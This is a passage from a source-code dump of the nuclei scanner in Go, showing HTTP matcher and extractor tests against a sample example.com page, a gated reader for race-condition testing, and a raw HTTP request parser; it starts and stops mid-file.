    "content": "package http\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nfunc TestResponseToDSLMap(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-http\"\n\trequest := &Request{\n\t\tID:     templateID,\n\t\tName:   \"testing\",\n\t\tPath:   []string{\"{{BaseURL}}?test=1\"},\n\t\tMethod: HTTPMethodTypeHolder{MethodType: HTTPGet},\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile file request\")\n\n\tresp := &http.Response{}\n\tresp.Header = make(http.Header)\n\tresp.Header.Set(\"Test\", \"Test-Response\")\n\thost := \"http://example.com/test/\"\n\tmatched := \"http://example.com/test/?test=1\"\n\n\tevent := request.responseToDSLMap(resp, host, matched, exampleRawRequest, exampleRawResponse, exampleResponseBody, exampleResponseHeader, 1*time.Second, map[string]interface{}{})\n\trequire.Len(t, event, 15, \"could not get correct number of items in dsl map\")\n\trequire.Equal(t, exampleRawResponse, event[\"response\"], \"could not get correct resp\")\n\trequire.Equal(t, \"Test-Response\", event[\"test\"], \"could not get correct resp for header\")\n}\n\nfunc TestHTTPOperatorMatch(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-http\"\n\trequest := &Request{\n\t\tID:     templateID,\n\t\tName:   \"testing\",\n\t\tPath:   []string{\"{{BaseURL}}?test=1\"},\n\t\tMethod: HTTPMethodTypeHolder{MethodType: HTTPGet},\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile file request\")\n\n\tresp := &http.Response{}\n\tresp.Header = make(http.Header)\n\tresp.Header.Set(\"Test\", \"Test-Response\")\n\thost := \"http://example.com/test/\"\n\tmatched := \"http://example.com/test/?test=1\"\n\n\tevent := request.responseToDSLMap(resp, host, matched, exampleRawRequest, exampleRawResponse, exampleResponseBody, exampleResponseHeader, 1*time.Second, map[string]interface{}{})\n\trequire.Len(t, event, 15, \"could not get correct number of items in dsl map\")\n\trequire.Equal(t, exampleRawResponse, event[\"response\"], \"could not get correct resp\")\n\trequire.Equal(t, \"Test-Response\", event[\"test\"], \"could not get correct resp for header\")\n\n\tt.Run(\"valid\", func(t *testing.T) {\n\t\tmatcher := &matchers.Matcher{\n\t\t\tPart:  \"body\",\n\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tWords: []string{\"1.1.1.1\"},\n\t\t}\n\t\terr = matcher.CompileMatchers()\n\t\trequire.Nil(t, err, \"could not compile matcher\")\n\n\t\tisMatched, matched := request.Match(event, matcher)\n\t\trequire.True(t, isMatched, \"could not match valid response\")\n\t\trequire.Equal(t, matcher.Words, matched)\n\t})\n\n\tt.Run(\"negative\", func(t *testing.T) {\n\t\tmatcher := &matchers.Matcher{\n\t\t\tPart:     \"body\",\n\t\t\tType:     matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tNegative: true,\n\t\t\tWords:    []string{\"random\"},\n\t\t}\n\t\terr := matcher.CompileMatchers()\n\t\trequire.Nil(t, err, \"could not compile negative matcher\")\n\n\t\tisMatched, matched := request.Match(event, matcher)\n\t\trequire.True(t, isMatched, \"could not match valid negative response matcher\")\n\t\trequire.Equal(t, []string{}, matched)\n\t})\n\n\tt.Run(\"invalid\", func(t *testing.T) {\n\t\tmatcher := &matchers.Matcher{\n\t\t\tPart:  \"body\",\n\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tWords: []string{\"random\"},\n\t\t}\n\t\terr := matcher.CompileMatchers()\n\t\trequire.Nil(t, err, \"could not compile matcher\")\n\n\t\tisMatched, matched := request.Match(event, matcher)\n\t\trequire.False(t, isMatched, \"could match invalid response matcher\")\n\t\trequire.Equal(t, []string{}, matched)\n\t})\n\n\tt.Run(\"caseInsensitive\", func(t *testing.T) {\n\t\tmatcher := &matchers.Matcher{\n\t\t\tPart:            \"body\",\n\t\t\tType:            matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher}, // only applies to word\n\t\t\tWords:           []string{\"EXAMPLE DOMAIN\"},\n\t\t\tCaseInsensitive: true,\n\t\t}\n\t\terr = matcher.CompileMatchers()\n\t\trequire.Nil(t, err, \"could not compile matcher\")\n\n\t\tisMatched, matched := request.Match(event, matcher)\n\t\trequire.True(t, isMatched, \"could not match valid response\")\n\t\trequire.Equal(t, []string{\"example domain\"}, matched)\n\t})\n}\n\nfunc TestHTTPOperatorExtract(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-http\"\n\trequest := &Request{\n\t\tID:     templateID,\n\t\tName:   \"testing\",\n\t\tPath:   []string{\"{{BaseURL}}?test=1\"},\n\t\tMethod: HTTPMethodTypeHolder{MethodType: HTTPGet},\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile file request\")\n\n\tresp := &http.Response{}\n\tresp.Header = make(http.Header)\n\tresp.Header.Set(\"Test-Header\", \"Test-Response\")\n\thost := \"http://example.com/test/\"\n\tmatched := \"http://example.com/test/?test=1\"\n\n\tevent := request.responseToDSLMap(resp, host, matched, exampleRawRequest, exampleRawResponse, exampleResponseBody, exampleResponseHeader, 1*time.Second, map[string]interface{}{})\n\trequire.Len(t, event, 15, \"could not get correct number of items in dsl map\")\n\trequire.Equal(t, exampleRawResponse, event[\"response\"], \"could not get correct resp\")\n\trequire.Equal(t, \"Test-Response\", event[\"test_header\"], \"could not get correct resp for header\")\n\n\tt.Run(\"extract\", func(t *testing.T) {\n\t\textractor := &extractors.Extractor{\n\t\t\tPart:  \"body\",\n\t\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.RegexExtractor},\n\t\t\tRegex: []string{\"[0-9]+\\\\.[0-9]+\\\\.[0-9]+\\\\.[0-9]+\"},\n\t\t}\n\t\terr = extractor.CompileExtractors()\n\t\trequire.Nil(t, err, \"could not compile extractor\")\n\n\t\tdata := request.Extract(event, extractor)\n\t\trequire.Greater(t, len(data), 0, \"could not extractor valid response\")\n\t\trequire.Equal(t, map[string]struct{}{\"1.1.1.1\": {}}, data, \"could not extract correct data\")\n\t})\n\n\tt.Run(\"kval\", func(t *testing.T) {\n\t\textractor := &extractors.Extractor{\n\t\t\tType: extractors.ExtractorTypeHolder{ExtractorType: extractors.KValExtractor},\n\t\t\tKVal: []string{\"test_header\"},\n\t\t}\n\t\terr = extractor.CompileExtractors()\n\t\trequire.Nil(t, err, \"could not compile kval extractor\")\n\n\t\tdata := request.Extract(event, extractor)\n\t\trequire.Greater(t, len(data), 0, \"could not extractor kval valid response\")\n\t\trequire.Equal(t, map[string]struct{}{\"Test-Response\": {}}, data, \"could not extract correct kval data\")\n\t})\n\n\tt.Run(\"json\", func(t *testing.T) {\n\t\tevent[\"body\"] = exampleJSONResponseBody\n\n\t\tt.Run(\"jq-simple\", func(t *testing.T) {\n\t\t\textractor := &extractors.Extractor{\n\t\t\t\tType: extractors.ExtractorTypeHolder{ExtractorType: extractors.JSONExtractor},\n\t\t\t\tJSON: []string{\".batters | .batter | .[] | .id\"},\n\t\t\t}\n\t\t\terr = extractor.CompileExtractors()\n\t\t\trequire.Nil(t, err, \"could not compile json extractor\")\n\n\t\t\tdata := request.Extract(event, extractor)\n\t\t\trequire.Greater(t, len(data), 0, \"could not extractor json valid response\")\n\t\t\trequire.Equal(t, map[string]struct{}{\"1001\": {}, \"1002\": {}, \"1003\": {}, \"1004\": {}}, data, \"could not extract correct json data\")\n\t\t})\n\t\tt.Run(\"jq-array\", func(t *testing.T) {\n\t\t\textractor := &extractors.Extractor{\n\t\t\t\tType: extractors.ExtractorTypeHolder{ExtractorType: extractors.JSONExtractor},\n\t\t\t\tJSON: []string{\".array\"},\n\t\t\t}\n\t\t\terr = extractor.CompileExtractors()\n\t\t\trequire.Nil(t, err, \"could not compile json extractor\")\n\n\t\t\tdata := request.Extract(event, extractor)\n\t\t\trequire.Greater(t, len(data), 0, \"could not extractor json valid response\")\n\t\t\trequire.Equal(t, map[string]struct{}{\"[\\\"hello\\\",\\\"world\\\"]\": {}}, data, \"could not extract correct json data\")\n\t\t})\n\t\tt.Run(\"jq-object\", func(t *testing.T) {\n\t\t\textractor := &extractors.Extractor{\n\t\t\t\tType: extractors.ExtractorTypeHolder{ExtractorType: extractors.JSONExtractor},\n\t\t\t\tJSON: []string{\".batters\"},\n\t\t\t}\n\t\t\terr = extractor.CompileExtractors()\n\t\t\trequire.Nil(t, err, \"could not compile json extractor\")\n\n\t\t\tdata := request.Extract(event, extractor)\n\t\t\trequire.Greater(t, len(data), 0, \"could not extractor json valid response\")\n\t\t\trequire.Equal(t, map[string]struct{}{\"{\\\"batter\\\":[{\\\"id\\\":\\\"1001\\\",\\\"type\\\":\\\"Regular\\\"},{\\\"id\\\":\\\"1002\\\",\\\"type\\\":\\\"Chocolate\\\"},{\\\"id\\\":\\\"1003\\\",\\\"type\\\":\\\"Blueberry\\\"},{\\\"id\\\":\\\"1004\\\",\\\"type\\\":\\\"Devil's Food\\\"}]}\": {}}, data, \"could not extract correct json data\")\n\t\t})\n\t})\n\n\tt.Run(\"caseInsensitive\", func(t *testing.T) {\n\t\tevent[\"body\"] = exampleResponseBody\n\n\t\textractor := &extractors.Extractor{\n\t\t\tType:            extractors.ExtractorTypeHolder{ExtractorType: extractors.KValExtractor},\n\t\t\tKVal:            []string{\"TEST_HEADER\"}, // only applies to KVal\n\t\t\tCaseInsensitive: true,\n\t\t}\n\t\terr = extractor.CompileExtractors()\n\t\trequire.Nil(t, err, \"could not compile kval extractor\")\n\n\t\tdata := request.Extract(event, extractor)\n\t\trequire.Greater(t, len(data), 0, \"could not extractor kval valid response\")\n\t\trequire.Equal(t, map[string]struct{}{\"test-response\": {}}, data, \"could not extract correct kval data\")\n\t})\n}\n\nfunc TestHTTPMakeResult(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-http\"\n\trequest := &Request{\n\t\tID:     templateID,\n\t\tName:   \"testing\",\n\t\tPath:   []string{\"{{BaseURL}}?test=1\"},\n\t\tMethod: HTTPMethodTypeHolder{MethodType: HTTPGet},\n\t\tOperators: operators.Operators{\n\t\t\tMatchers: []*matchers.Matcher{{\n\t\t\t\tName:  \"test\",\n\t\t\t\tPart:  \"body\",\n\t\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\t\tWords: []string{\"1.1.1.1\"},\n\t\t\t}},\n\t\t\tExtractors: []*extractors.Extractor{{\n\t\t\t\tPart:  \"body\",\n\t\t\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.RegexExtractor},\n\t\t\t\tRegex: []string{\"[0-9]+\\\\.[0-9]+\\\\.[0-9]+\\\\.[0-9]+\"},\n\t\t\t}},\n\t\t},\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile file request\")\n\n\tresp := &http.Response{}\n\tresp.Header = make(http.Header)\n\tresp.Header.Set(\"Test\", \"Test-Response\")\n\thost := \"http://example.com/test/\"\n\tmatched := \"http://example.com/test/?test=1\"\n\n\tevent := request.responseToDSLMap(resp, host, matched, exampleRawRequest, exampleRawResponse, exampleResponseBody, exampleResponseHeader, 1*time.Second, map[string]interface{}{})\n\trequire.Len(t, event, 15, \"could not get correct number of items in dsl map\")\n\trequire.Equal(t, exampleRawResponse, event[\"response\"], \"could not get correct resp\")\n\trequire.Equal(t, \"Test-Response\", event[\"test\"], \"could not get correct resp for header\")\n\n\tevent[\"ip\"] = \"192.169.1.1\"\n\tfinalEvent := &output.InternalWrappedEvent{InternalEvent: event}\n\tif request.CompiledOperators != nil {\n\t\tresult, ok := request.CompiledOperators.Execute(event, request.Match, request.Extract, false)\n\t\tif ok && result != nil {\n\t\t\tfinalEvent.OperatorsResult = result\n\t\t\tfinalEvent.Results = request.MakeResultEvent(finalEvent)\n\t\t}\n\t}\n\trequire.Equal(t, 1, len(finalEvent.Results), \"could not get correct number of results\")\n\trequire.Equal(t, \"test\", finalEvent.Results[0].MatcherName, \"could not get correct matcher name of results\")\n\trequire.Equal(t, \"1.1.1.1\", finalEvent.Results[0].ExtractedResults[0], \"could not get correct extracted results\")\n}\n\nconst exampleRawRequest = `GET / HTTP/1.1\nHost: example.com\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\nIf-None-Match: \"3147526947+gzip\"\nIf-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT\nConnection: close\n\n`\n\nconst exampleRawResponse = exampleResponseHeader + exampleResponseBody\nconst exampleResponseHeader = `\nHTTP/1.1 200 OK\nAccept-Ranges: bytes\nAge: 493322\nCache-Control: max-age=604800\nContent-Type: text/html; charset=UTF-8\nDate: Thu, 04 Feb 2021 12:15:51 GMT\nEtag: \"3147526947+ident\"\nExpires: Thu, 11 Feb 2021 12:15:51 GMT\nLast-Modified: Thu, 17 Oct 2019 07:18:26 GMT\nServer: ECS (nyb/1D1C)\nVary: Accept-Encoding\nX-Cache: HIT\nContent-Length: 1256\nConnection: close\n`\n\nconst exampleResponseBody = `\n<!doctype html>\n<html>\n<head>\n    <title>Example Domain</title>\n\n    <meta charset=\"utf-8\" />\n    <meta http-equiv=\"Content-type\" content=\"text/html; charset=utf-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n    <style type=\"text/css\">\n    body {\n        background-color: #f0f0f2;\n        margin: 0;\n        padding: 0;\n        font-family: -apple-system, system-ui, BlinkMacSystemFont, \"Segoe UI\", \"Open Sans\", \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n        \n    }\n    div {\n        width: 600px;\n        margin: 5em auto;\n        padding: 2em;\n        background-color: #fdfdff;\n        border-radius: 0.5em;\n        box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);\n    }\n    a:link, a:visited {\n        color: #38488f;\n        text-decoration: none;\n    }\n    @media (max-width: 700px) {\n        div {\n            margin: 0 auto;\n            width: auto;\n        }\n    }\n    </style>    \n</head>\n<a>1.1.1.1</a>\n<body>\n<div>\n    <h1>Example Domain</h1>\n    <p>This domain is for use in illustrative examples in documents. You may use this\n    domain in literature without prior coordination or asking for permission.</p>\n    <p><a href=\"https://www.iana.org/domains/example\">More information...</a></p>\n</div>\n</body>\n</html>\n`\n\nconst exampleJSONResponseBody = `\n{\n  \"id\": \"0001\",\n  \"type\": \"donut\",\n  \"name\": \"Cake\",\n  \"ppu\": 0.55,\n  \"array\": [\"hello\", \"world\"],\n  \"batters\": {\n    \"batter\": [\n      {\n        \"id\": \"1001\",\n        \"type\": \"Regular\"\n      },\n      {\n        \"id\": \"1002\",\n        \"type\": \"Chocolate\"\n      },\n      {\n        \"id\": \"1003\",\n        \"type\": \"Blueberry\"\n      },\n      {\n        \"id\": \"1004\",\n        \"type\": \"Devil's Food\"\n      }\n    ]\n  },\n  \"topping\": [\n    {\n      \"id\": \"5001\",\n      \"type\": \"None\"\n    },\n    {\n      \"id\": \"5002\",\n      \"type\": \"Glazed\"\n    },\n    {\n      \"id\": \"5005\",\n      \"type\": \"Sugar\"\n    },\n    {\n      \"id\": \"5007\",\n      \"type\": \"Powdered Sugar\"\n    },\n    {\n      \"id\": \"5006\",\n      \"type\": \"Chocolate with Sprinkles\"\n    },\n    {\n      \"id\": \"5003\",\n      \"type\": \"Chocolate\"\n    },\n    {\n      \"id\": \"5004\",\n      \"type\": \"Maple\"\n    }\n  ]\n}\n`\n"
  },
  {
    "path": "pkg/protocols/http/race/syncedreadcloser.go",
    "content": "package race\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"time\"\n)\n\n// SyncedReadCloser is compatible with io.ReadSeeker and performs\n// gate-based synced writes to enable race condition testing.\ntype SyncedReadCloser struct {\n\tdata           []byte\n\tp              int64\n\tlength         int64\n\topenGate       chan struct{}\n\tenableBlocking bool\n}\n\n// NewSyncedReadCloser creates a new SyncedReadCloser instance.\nfunc NewSyncedReadCloser(r io.ReadCloser) *SyncedReadCloser {\n\tvar (\n\t\ts   SyncedReadCloser\n\t\terr error\n\t)\n\ts.data, err = io.ReadAll(r)\n\tif err != nil {\n\t\treturn nil\n\t}\n\tdefer func() {\n\t\t_ = r.Close()\n\t}()\n\ts.length = int64(len(s.data))\n\ts.openGate = make(chan struct{})\n\ts.enableBlocking = true\n\treturn &s\n}\n\n// NewOpenGateWithTimeout creates a new open gate with a timeout\nfunc NewOpenGateWithTimeout(r io.ReadCloser, d time.Duration) *SyncedReadCloser {\n\ts := NewSyncedReadCloser(r)\n\ts.OpenGateAfter(d)\n\treturn s\n}\n\n// SetOpenGate sets the status of the blocking gate\nfunc (s *SyncedReadCloser) SetOpenGate(status bool) {\n\ts.enableBlocking = status\n}\n\n// OpenGate opens the gate allowing all requests to be completed\nfunc (s *SyncedReadCloser) OpenGate() {\n\ts.openGate <- struct{}{}\n}\n\n// OpenGateAfter schedules gate to be opened after a duration\nfunc (s *SyncedReadCloser) OpenGateAfter(d time.Duration) {\n\ttime.AfterFunc(d, func() {\n\t\ts.openGate <- struct{}{}\n\t})\n}\n\n// Seek implements seek method for io.ReadSeeker\nfunc (s *SyncedReadCloser) Seek(offset int64, whence int) (int64, error) {\n\tvar err error\n\tswitch whence {\n\tcase io.SeekStart:\n\t\ts.p = 0\n\tcase io.SeekCurrent:\n\t\tif s.p+offset < s.length {\n\t\t\ts.p += offset\n\t\t\tbreak\n\t\t}\n\t\terr = fmt.Errorf(\"offset is too big\")\n\tcase io.SeekEnd:\n\t\tif s.length-offset >= 0 {\n\t\t\ts.p = s.length - offset\n\t\t\tbreak\n\t\t}\n\t\terr = fmt.Errorf(\"offset is too big\")\n\t}\n\treturn s.p, err\n}\n\n// Read implements read method for io.ReadSeeker\nfunc (s *SyncedReadCloser) Read(p []byte) (n int, err error) {\n\t// If the data fits in the buffer blocks awaiting the sync instruction\n\tif s.p+int64(len(p)) >= s.length && s.enableBlocking {\n\t\t<-s.openGate\n\t}\n\tn = copy(p, s.data[s.p:])\n\ts.p += int64(n)\n\tif s.p == s.length {\n\t\terr = io.EOF\n\t}\n\treturn n, err\n}\n\n// Close closes an io.ReadSeeker\nfunc (s *SyncedReadCloser) Close() error {\n\treturn nil\n}\n\n// Len returns the length of data in reader\nfunc (s *SyncedReadCloser) Len() int {\n\treturn int(s.length)\n}\n"
  },
  {
    "path": "pkg/protocols/http/raw/doc.go",
    "content": "// Package raw provides raw http request parsing abilities for nuclei.\npackage raw\n"
  },
  {
    "path": "pkg/protocols/http/raw/raw.go",
    "content": "package raw\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/authprovider/authx\"\n\t\"github.com/projectdiscovery/rawhttp/client\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\nvar bufferPool = sync.Pool{New: func() any { return new(bytes.Buffer) }}\n\n// Request defines a basic HTTP raw request\ntype Request struct {\n\tFullURL        string\n\tMethod         string\n\tPath           string\n\tData           string\n\tHeaders        map[string]string\n\tUnsafeHeaders  client.Headers\n\tUnsafeRawBytes []byte\n}\n\n// Parse parses the raw request as supplied by the user\nfunc Parse(request string, inputURL *urlutil.URL, unsafe, disablePathAutomerge bool) (*Request, error) {\n\trawrequest, err := readRawRequest(request, unsafe)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// handle full URLs first (before checking unsafe flag) to extract relative path\n\tif strings.HasPrefix(rawrequest.Path, \"http://\") || strings.HasPrefix(rawrequest.Path, \"https://\") {\n\t\turlx, err := urlutil.ParseURL(rawrequest.Path, true)\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrapf(err, \"failed to parse url %v from template\", rawrequest.Path)\n\t\t}\n\t\tprevPath := rawrequest.Path\n\t\trelPath := urlx.GetRelativePath()\n\n\t\t// NOTE(dwisiswant0): Use rel path instead if unsafe.\n\t\t// See https://github.com/projectdiscovery/nuclei/issues/6558.\n\t\tif unsafe {\n\t\t\trawrequest.UnsafeRawBytes = bytes.Replace(rawrequest.UnsafeRawBytes, []byte(prevPath), []byte(relPath), 1)\n\t\t}\n\n\t\t// rotate full URL with rel path\n\t\trawrequest.Path = relPath\n\t}\n\n\tswitch {\n\t// If path is empty do not tamper input url (see doc)\n\t// can be omitted but makes things clear\n\tcase rawrequest.Path == \"\":\n\t\tif !disablePathAutomerge {\n\t\t\tinputURL.Params.IncludeEquals = true\n\t\t\trawrequest.Path = inputURL.GetRelativePath()\n\t\t}\n\n\t// If unsafe changes must be made in raw request string itself\n\tcase unsafe:\n\t\tprevPath := rawrequest.Path\n\t\tcloned := inputURL.Clone()\n\t\tcloned.Params.IncludeEquals = true\n\t\tunsafeRelativePath := \"\"\n\t\tif (cloned.Path == \"\" || cloned.Path == \"/\") && !strings.HasPrefix(prevPath, \"/\") {\n\t\t\t// Edgecase if raw unsafe request is\n\t\t\t// GET 1337?with=param HTTP/1.1\n\t\t\tif tmpurl, err := urlutil.ParseRelativePath(prevPath, true); err == nil && !tmpurl.Params.IsEmpty() {\n\t\t\t\t// if raw request contains parameters\n\t\t\t\tcloned.Params.Merge(tmpurl.Params.Encode())\n\t\t\t\tunsafeRelativePath = strings.TrimPrefix(tmpurl.Path, \"/\") + \"?\" + cloned.Params.Encode()\n\t\t\t} else {\n\t\t\t\t// if raw request does not contain param\n\t\t\t\tif !cloned.Params.IsEmpty() {\n\t\t\t\t\tunsafeRelativePath = prevPath + \"?\" + cloned.Params.Encode()\n\t\t\t\t} else {\n\t\t\t\t\tunsafeRelativePath = prevPath\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\t// Edgecase if raw request is\n\t\t\t// GET / HTTP/1.1\n\t\t\t//use case: https://github.com/projectdiscovery/nuclei/issues/4921\n\t\t\tif rawrequest.Path == \"/\" && cloned.Path != \"\" {\n\t\t\t\trawrequest.Path = \"\"\n\t\t\t}\n\n\t\t\tif disablePathAutomerge {\n\t\t\t\tcloned.Path = \"\"\n\t\t\t}\n\t\t\terr = cloned.MergePath(rawrequest.Path, true)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errkit.Wrapf(err, \"failed to automerge %v from unsafe template\", rawrequest.Path)\n\t\t\t}\n\t\t\tunsafeRelativePath = cloned.GetRelativePath()\n\t\t}\n\t\trawrequest.Path = cloned.GetRelativePath()\n\t\trawrequest.UnsafeRawBytes = bytes.Replace(rawrequest.UnsafeRawBytes, []byte(prevPath), []byte(unsafeRelativePath), 1)\n\n\tdefault:\n\t\tcloned := inputURL.Clone()\n\t\tcloned.Params.IncludeEquals = true\n\t\t// Edgecase if raw request is\n\t\t// GET / HTTP/1.1\n\t\t//use case: https://github.com/projectdiscovery/nuclei/issues/4921\n\t\tif rawrequest.Path == \"/\" {\n\t\t\trawrequest.Path = \"\"\n\t\t}\n\n\t\tif disablePathAutomerge {\n\t\t\tcloned.Path = \"\"\n\t\t}\n\t\tparseErr := cloned.MergePath(rawrequest.Path, true)\n\t\tif parseErr != nil {\n\t\t\treturn nil, errkit.Wrapf(parseErr, \"could not automergepath for template path %v\", rawrequest.Path)\n\t\t}\n\t\trawrequest.Path = cloned.GetRelativePath()\n\t}\n\n\tif !unsafe {\n\t\tif _, ok := rawrequest.Headers[\"Host\"]; !ok {\n\t\t\trawrequest.Headers[\"Host\"] = inputURL.Host\n\t\t}\n\t\tcloned := inputURL.Clone()\n\t\tcloned.Params.IncludeEquals = true\n\t\tcloned.Path = \"\"\n\t\t_ = cloned.MergePath(rawrequest.Path, true)\n\t\trawrequest.FullURL = cloned.String()\n\t}\n\n\treturn rawrequest, nil\n}\n\n// ParseRawRequest parses the raw request as supplied by the user\n// this function should only be used for self-contained requests\nfunc ParseRawRequest(request string, unsafe bool) (*Request, error) {\n\treq, err := readRawRequest(request, unsafe)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif strings.HasPrefix(req.Path, \"http\") {\n\t\turlx, err := urlutil.Parse(req.Path)\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrapf(err, \"failed to parse url %v\", req.Path)\n\t\t}\n\t\treq.Path = urlx.GetRelativePath()\n\t\treq.FullURL = urlx.String()\n\t} else {\n\n\t\tif req.Path == \"\" {\n\t\t\treturn nil, errkit.New(\"path cannot be empty in self contained request\")\n\t\t}\n\t\t// given url is relative construct one using Host Header\n\t\tif _, ok := req.Headers[\"Host\"]; !ok {\n\t\t\treturn nil, errkit.New(\"host header is required for relative path\")\n\t\t}\n\t\t// Review: Current default scheme in self contained templates if relative path is provided is http\n\t\treq.FullURL = fmt.Sprintf(\"%s://%s%s\", urlutil.HTTP, strings.TrimSpace(req.Headers[\"Host\"]), req.Path)\n\t}\n\treturn req, nil\n}\n\n// reads raw request line by line following convention\nfunc readRawRequest(request string, unsafe bool) (*Request, error) {\n\trawRequest := &Request{\n\t\tHeaders: make(map[string]string),\n\t}\n\n\t// store body if it is unsafe request\n\tif unsafe {\n\t\trawRequest.UnsafeRawBytes = stripLeadingAnnotations(request)\n\t}\n\n\t// parse raw request\n\treader := bufio.NewReader(strings.NewReader(request))\nread_line:\n\ts, err := reader.ReadString('\\n')\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not read request: %w\", err)\n\t}\n\t// ignore all annotations\n\tif stringsutil.HasPrefixAny(s, \"@\") {\n\t\tgoto read_line\n\t}\n\n\tparts := strings.Fields(s)\n\tif len(parts) > 0 {\n\t\trawRequest.Method = parts[0]\n\t\tif len(parts) == 2 && strings.Contains(parts[1], \"HTTP\") {\n\t\t\t// When relative path is missing/ not specified it is considered that\n\t\t\t// request is meant to be untampered at path\n\t\t\t// Ex: GET HTTP/1.1\n\t\t\tparts = []string{parts[0], \"\", parts[1]}\n\t\t}\n\t\tif len(parts) < 3 && !unsafe {\n\t\t\t// missing a field\n\t\t\treturn nil, fmt.Errorf(\"malformed request specified: %v\", s)\n\t\t}\n\n\t\t// relative path\n\t\trawRequest.Path = parts[1]\n\t\t// Note: raw request does not URL Encode if needed `+` should be used\n\t\t// this can be also be implemented\n\t}\n\n\tvar multiPartRequest bool\n\t// Accepts all malformed headers\n\tvar key, value string\n\tfor {\n\t\tline, readErr := reader.ReadString('\\n')\n\t\tline = strings.TrimSpace(line)\n\n\t\tif readErr != nil || line == \"\" {\n\t\t\tif readErr != io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tp := strings.SplitN(line, \":\", 2)\n\t\tkey = p[0]\n\t\tif len(p) > 1 {\n\t\t\tvalue = p[1]\n\t\t}\n\t\tif strings.Contains(key, \"Content-Type\") && strings.Contains(value, \"multipart/\") {\n\t\t\tmultiPartRequest = true\n\t\t}\n\n\t\t// in case of unsafe requests multiple headers should be accepted\n\t\t// therefore use the full line as key\n\t\t_, found := rawRequest.Headers[key]\n\t\tif unsafe {\n\t\t\trawRequest.UnsafeHeaders = append(rawRequest.UnsafeHeaders, client.Header{Key: line})\n\t\t}\n\n\t\tif unsafe && found {\n\t\t\trawRequest.Headers[line] = \"\"\n\t\t} else {\n\t\t\trawRequest.Headers[key] = strings.TrimSpace(value)\n\t\t}\n\t\tif readErr == io.EOF {\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// Set the request body\n\tb, err := io.ReadAll(reader)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not read request body: %w\", err)\n\t}\n\trawRequest.Data = string(b)\n\tif !multiPartRequest {\n\t\trawRequest.Data = strings.TrimSuffix(rawRequest.Data, \"\\r\\n\")\n\t}\n\treturn rawRequest, 